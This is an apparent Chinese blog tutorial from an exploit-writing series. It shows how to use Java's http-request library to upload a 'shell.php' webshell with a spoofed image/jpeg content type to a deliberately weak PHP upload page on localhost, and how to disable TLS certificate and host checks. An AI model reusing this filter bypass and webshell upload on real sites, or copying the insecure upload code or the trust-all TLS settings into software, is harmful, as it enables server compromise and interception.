JAVA-Exploit编写(6)--http-request库文件上传使用

embedded/2025/1/23 7:53:13/

目录

1.http-request简介

2. 依赖导入

3.文件上传页面代码

4. http-request文件上传简单使用

 5.请求https的网站解决SSL证书的问题

5. 1 直接请求带https域名的网站

5.2 信任所有证书


1.http-request简介

        http-request 是一个库 里面提供很多方法,使得很容易就可以构造http请求,相比于之前使用的标准库类等要简单使用很多,目前通过此库来编写EXP较多.

2. 依赖导入

<dependency><groupId>com.github.kevinsawicki</groupId><artifactId>http-request</artifactId><version>5.6</version>
</dependency>

3.文件上传页面代码

<?php
if (($_FILES["file"]["type"] == "image/gif" || $_FILES["file"]["type"] == "image/jpeg" || $_FILES["file"]["type"] == "image/png") && $_FILES["file"]["size"] < 20000) {if ($_FILES["file"]["error"] > 0) {echo "Return Code: " . $_FILES["file"]["error"] . "<br />";echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";} else {if (file_exists("uploads/" . $_FILES["file"]["name"])) {echo $_FILES["file"]["name"] . " already exists. ";} else {move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"]);echo "Stored in: " . "uploads/" . $_FILES["file"]["name"];}}
} else {echo "Invalid file";
}
?>

4. http-request文件上传简单使用

  相比于之前使用的标准库和httpcomponents库来说,使用起来简单很多,通过设置文件头和.part方法即可,一看就懂.

java">package com.deger.HttpRequest;import com.github.kevinsawicki.http.HttpRequest;import java.io.File;public class HttpRequestUpload {public static void main(String[] args) {// 文件上传HttpRequest httpRequest = HttpRequest.post("http://127.0.0.1/upload.php");// 设置请求头的文件类型httpRequest.header( "content-Type","multipart/form-data;boundary=AaB03x");// 设置上传的文件 以及上传文件位置httpRequest.part("file","test123.php","image/jpeg",new File("D:\\phpstudy_pro\\WWW\\shell.php"));// 接收响应信息System.out.println(httpRequest.body());}
}

 5.请求https的网站解决SSL证书的问题

5. 1 直接请求带https域名的网站

java">package com.deger.HttpRequest;import com.github.kevinsawicki.http.HttpRequest;public class HttpRequestSsl {public static void main(String[] args) {HttpRequest httpRequest = HttpRequest.get("https://www.xxxxxx.com");System.out.println(httpRequest.body());}
}

5.2 信任所有证书

 只需要使用两个方法就可以正常使用了

java">package com.deger.HttpRequest;import com.github.kevinsawicki.http.HttpRequest;public class HttpRequestSsl {public static void main(String[] args) {HttpRequest httpRequest = HttpRequest.get("https://www.xxxxx.com");//信息所有证书和主机httpRequest.trustAllCerts();httpRequest.trustAllHosts();System.out.println(httpRequest.body());}
}

 


http://www.ppmy.cn/embedded/156258.html

相关文章

期货行业专题|基于超融合实现 IT 基础设施现代化与国产化转型实践合集

SmartX 期货行业重要进展 帮助近 60 家期货用户部署 730 超融合节点&#xff0c;含 230 信创节点。 深入 5 大应用场景&#xff1a; 核心生产资源池 主席灾备资源池 信创云资源池 云原生存储与容器资源池 分布式存储资源池 更多超融合金融核心生产业务场景实践&#xf…

JavaScript 对象字面量与构造函数:构建高效对象的两种方式

Hi&#xff0c;我是布兰妮甜 &#xff01;在JavaScript中&#xff0c;对象是核心的数据结构之一&#xff0c;用于组织和操作数据。创建对象有两种主要的方式&#xff1a;对象字面量&#xff08;Object Literal&#xff09;和 构造函数&#xff08;Constructor Function&#xf…

基于实例感知交互的联合的显微电镜图像去噪与分割

Joint EM Image Denoising and Segmentation with Instance-Aware Interaction code&#xff1a;https://github.com/zhichengwang-tri/EM-DenoiSeg 代码真的写的超级无敌烂&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff0…

手持式三维激光扫描仪-3D扫描产品尺寸

现代制造业和产品设计&#xff0c;对产品尺寸的精确测量和快速建模需求日益增长。传统的测量工具和方法往往难以满足复杂形状和高精度要求的场景。手持式三维激光扫描仪凭借其灵活性、高精度和便携性&#xff0c;为产品尺寸测量和建模提供了高效、精准的解决方案。 传统测量方法…

Spring Boot + Netty + WebSocket 实现消息推送

1、关于Netty Netty 是一个利用 Java 的高级网络的能力&#xff0c;隐藏其背后的复杂性而提供一个易于使用的 API 的客户端/服务器框架。 2、Maven依赖 <dependencies><!-- https://mvnrepository.com/artifact/io.netty/netty-all --><dependency><gr…

【银河麒麟高级服务器操作系统】业务访问慢网卡丢包现象分析及处理过程

了解更多银河麒麟操作系统全新产品&#xff0c;请点击访问 麒麟软件产品专区&#xff1a;product.kylinos.cn 开发者专区&#xff1a;developer.kylinos.cn 文档中心&#xff1a;document.kylinos.cn 交流论坛&#xff1a;forum.kylinos.cn 服务器环境以及配置 【内核版本…

Linux探秘坊-------3.开发工具详解(1)

1 初识vim编辑器 创建第一个vim编辑的代码 1.新建文件 2.使用vim打开 3.打开默认是命令模式&#xff0c;写代码需要在屏幕上输出“i”字符 1.写完代码后要按Esc键退出到指令模式2.再按shift:wq即可保存并退出vim &#xff08;因为不支持鼠标&#xff0c;通常 使用键盘上的箭…

树莓集团 “产学研用” 一体化模式成效显著,多方联合推动产业升级

在当今竞争激烈的产业环境中&#xff0c;树莓集团以其独特的 “产学研用” 一体化模式脱颖而出&#xff0c;成效显著&#xff0c;成功推动产业升级&#xff0c;成为行业发展的典范。 树莓集团深知科研是产业发展的源头活水。因此&#xff0c;积极与各大高校、科研机构建立紧密…